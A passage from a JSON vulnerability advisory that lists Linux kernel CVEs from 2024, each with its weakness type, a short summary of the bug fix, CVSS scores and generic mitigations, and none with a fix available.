          "text": "In the Linux kernel, the following vulnerability has been resolved: ipv6: sr: fix invalid unregister error path The error path of seg6_init() is wrong in case CONFIG_IPV6_SEG6_LWTUNNEL is not defined. In that case if seg6_hmac_init() fails, the genl_unregister_family() isn\u0027t called. This issue exist since commit 46738b1317e1 (\"ipv6: sr: add option to control lwtunnel support\"), and commit 5559cea2d5aa (\"ipv6: sr: fix possible use-after-free and null-ptr-deref\") replaced unregister_pernet_subsys() with genl_unregister_family() in this error path.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-38612"
    },
    {
      "cve": "CVE-2024-38615",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "cpufreq: exit() callback is optional The exit() callback is optional and shouldn\u0027t be called without checking a valid pointer first. Also, we must clear freq_table pointer even if the exit() callback isn\u0027t present.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-38615"
    },
    {
      "cve": "CVE-2024-38619",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "usb-storage: alauda: Check whether the media is initialized. The member \"uzonesize\" of struct alauda_info will remain 0 if alauda_init_media() fails, potentially causing divide errors in alauda_read_data() and alauda_write_lba().",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-38619"
    },
    {
      "cve": "CVE-2024-38635",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "soundwire: cadence: invalid PDI offset.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-38635"
    },
    {
      "cve": "CVE-2024-38659",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "enic: Validate length of nl attributes in enic_set_vf_port enic_set_vf_port assumes that the nl attribute IFLA_PORT_PROFILE is of length PORT_PROFILE_MAX and that the nl attributes IFLA_PORT_INSTANCE_UUID, IFLA_PORT_HOST_UUID are of length PORT_UUID_MAX. These attributes are validated (in the function do_setlink in rtnetlink.c) using the nla_policy ifla_port_policy. The policy defines IFLA_PORT_PROFILE as NLA_STRING, IFLA_PORT_INSTANCE_UUID as NLA_BINARY and IFLA_PORT_HOST_UUID as NLA_STRING. That means that the length validation using the policy is for the max size of the attributes and not on exact size so the length of these attributes might be less than the sizes that enic_set_vf_port expects. This might cause an out of bands read access in the memcpys of the data of these attributes in enic_set_vf_port.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-38659"
    },
    {
      "cve": "CVE-2024-38662",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "bpf: Allow delete from sockmap/sockhash only if update is allowed. We have seen an influx of syzkaller reports where a BPF program attached to a tracepoint triggers a locking rule violation by performing a map_delete on a sockmap/sockhash. We don\u0027t intend to support this artificial use scenario. Extend the existing verifier allowed-program-type check for updating sockmap/sockhash to also cover deleting from a map. From now on only BPF programs which were previously allowed to update sockmap/sockhash can delete from these map types.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 4.4,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-38662"
    },
    {
      "cve": "CVE-2024-38780",
      "cwe": {
        "id": "CWE-667",
        "name": "Improper Locking"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: dma-buf/sw-sync: don\u0027t enable IRQ from sync_print_obj().",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-38780"
    },
    {
      "cve": "CVE-2024-39468",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "smb: client: Deadlock in smb2_find_smb_tcon().",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-39468"
    },
    {
      "cve": "CVE-2024-39482",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "bcache: Variable length array abuse in btree_iter.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-39482"
    },
    {
      "cve": "CVE-2024-39489",
      "cwe": {
        "id": "CWE-401",
        "name": "Missing Release of Memory after Effective Lifetime"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: ipv6: sr: fix memleak in seg6_hmac_init_algo seg6_hmac_init_algo returns without cleaning up the previous allocations if one fails, so it\u0027s going to leak all that memory and the crypto tfms. Update seg6_hmac_exit to only free the memory when allocated, so we can reuse the code directly.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-39489"
    },
    {
      "cve": "CVE-2024-39493",
      "cwe": {
        "id": "CWE-401",
        "name": "Missing Release of Memory after Effective Lifetime"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved:\n\ncrypto: qat - Fix ADF_DEV_RESET_SYNC memory leak\n\nUsing completion_done to determine whether the caller has gone\naway only works after a complete call.  Furthermore it\u0027s still\npossible that the caller has not yet called wait_for_completion,\nresulting in another potential UAF.\n\nFix this by making the caller use cancel_work_sync and then freeing\nthe memory safely.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-39493"
    },
    {
      "cve": "CVE-2024-39502",
      "cwe": {
        "id": "CWE-416",
        "name": "Use After Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "ionic: use after netif_napi_del(). When queues are started, netif_napi_add() and napi_enable() are called. If there are 4 queues and only 3 queues are used for the current configuration, only 3 queues\u0027 napi should be registered and enabled. The ionic_qcq_enable() checks whether the .poll pointer is not NULL for enabling only the using queue\u0027 napi. Unused queues\u0027 napi will not be registered by netif_napi_add(), so the .poll pointer indicates NULL. But it couldn\u0027t distinguish whether the napi was unregistered or not because netif_napi_del() doesn\u0027t reset the .poll pointer to NULL. So, ionic_qcq_enable() calls napi_enable() for the queue, which was unregistered by netif_napi_del().",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-39502"
    },
    {
      "cve": "CVE-2024-39503",
      "cwe": {
        "id": "CWE-416",
        "name": "Use After Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "netfilter: ipset: race between namespace cleanup and gc in the list:set type. The namespace cleanup can destroy the list:set type of sets while the gc of the set type is waiting to run in rcu cleanup. The latter uses data from the destroyed set which thus leads use after free.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-39503"
    },
    {
      "cve": "CVE-2024-39509",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "HID: core: remove unnecessary WARN_ON() in implement(). There is a warning in a call to implement() when trying to write a value into a field of smaller size in an output report. Since implement() already has a warn message printed out with the help of hid_warn() and value in question gets trimmed with: ... value \u0026= m; ... WARN_ON may be considered superfluous.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-39509"
    },
    {
      "cve": "CVE-2024-40905",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "ipv6: possible race in __fib6_drop_pcpu_from().",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 4.4,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-40905"
    },
    {
      "cve": "CVE-2024-40912",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "wifi: mac80211: deadlock in ieee80211_sta_ps_deliver_wakeup().",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 4.7,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-40912"
    },
    {
      "cve": "CVE-2024-40916",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "drm/exynos: hdmi: report safe 640x480 mode as a fallback when no EDID found When reading EDID fails and driver reports no modes available, the DRM core adds an artificial 1024x786 mode to the connector.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 4.4,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-40916"
    },
    {
      "cve": "CVE-2024-40934",
      "cwe": {
        "id": "CWE-404",
        "name": "Improper Resource Shutdown or Release"
      },
      "notes": [
        {
          "category": "summary",
          "text": "HID: logitech-dj: Fix memory leak in logi_dj_recv_switch_to_dj_mode() Fix a memory leak on logi_dj_recv_send_report() error path.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 4.4,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-40934"
    },
    {
      "cve": "CVE-2024-40941",
      "cwe": {
        "id": "CWE-125",
        "name": "Out-of-bounds Read"
      },
      "notes": [
        {
          "category": "summary",
          "text": "wifi: iwlwifi: mvm: don\u0027t read past the mfuart notifcation. In case the firmware sends a notification that claims it has more data than it has, it will read past that was allocated for the notification.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 4.1,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-40941"
    },
    {
      "cve": "CVE-2024-40942",
      "cwe": {
        "id": "CWE-402",
        "name": "Transmission of Private Resources into a New Sphere (\u0027Resource Leak\u0027)"
      },
      "notes": [
        {
          "category": "summary",
          "text": "wifi: mac80211: mesh: Fix leak of mesh_preq_queue objects The hwmp code use objects of type mesh_preq_queue, added to a list in ieee80211_if_mesh, to keep track of mpath we need to resolve. If the mpath gets deleted, ex mesh interface is removed, the entries in that list will never get cleaned.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-40942"
    },
    {
      "cve": "CVE-2024-40945",
      "cwe": {
        "id": "CWE-393",
        "name": "Return of Wrong Status Code"
      },
      "notes": [
        {
          "category": "summary",
          "text": "iommu: Return right value in iommu_sva_bind_device() iommu_sva_bind_device() should return either a sva bond handle or an ERR_PTR value in error cases. Existing drivers (idxd and uacce) only check the return value with IS_ERR(). This could potentially lead to a kernel NULL pointer dereference issue if the function returns NULL instead of an error pointer. In reality, this doesn\u0027t cause any problems because iommu_sva_bind_device() only returns NULL when the kernel is not configured with CONFIG_IOMMU_SVA.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 6.8,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-40945"
    },
    {
      "cve": "CVE-2024-40958",
      "cwe": {
        "id": "CWE-416",
        "name": "Use After Free"
      },
      "notes": [
        {
          "category": "summary",
          "text": "netns: Make get_net_ns() handle zero refcount net Syzkaller hit a warning: refcount_t: addition on 0; use-after-free.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 4.0,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-40958"
    },
    {
      "cve": "CVE-2024-40959",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "In the Linux kernel, the following vulnerability has been resolved: xfrm6: check ip6_dst_idev() return value in xfrm6_get_saddr().",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-40959"
    },
    {
      "cve": "CVE-2024-40960",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "ipv6: prevent possible NULL dereference in rt6_probe() syzbot caught a NULL dereference in rt6_probe() [1] Bail out if __in6_dev_get() returns NULL.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-40960"
    },
    {
      "cve": "CVE-2024-40961",
      "cwe": {
        "id": "CWE-476",
        "name": "NULL Pointer Dereference"
      },
      "notes": [
        {
          "category": "summary",
          "text": "ipv6: prevent possible NULL deref in fib6_nh_init() syzbot reminds us that in6_dev_get() can return NULL.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
          "details": "Limit access to the interactive shell of the additional GNU/Linux subssytem to trusted personnel only.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "mitigation",
          "details": "Only build and run applications from trusted sources.",
          "product_ids": [
            "1"
          ]
        },
        {
          "category": "none_available",
          "details": "Currently no fix is available",
          "product_ids": [
            "1"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "baseScore": 5.5,
            "baseSeverity": "MEDIUM",
            "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          },
          "products": [
            "1"
          ]
        }
      ],
      "title": "CVE-2024-40961"
    },
    {
      "cve": "CVE-2024-40971",
      "cwe": {
        "id": "CWE-20",
        "name": "Improper Input Validation"
      },
      "notes": [
        {
          "category": "summary",
          "text": "f2fs: remove clear SB_INLINECRYPT flag in default_options In f2fs_remount, SB_INLINECRYPT flag will be clear and re-set. If create new file or open file during this gap, these files will not use inlinecrypt. Worse case, it may lead to data corruption if wrappedkey_v0 is enable.",
          "title": "Summary"
        }
      ],
      "product_status": {
        "known_affected": [
          "1"
        ]
      },
      "remediations": [
        {
          "category": "mitigation",
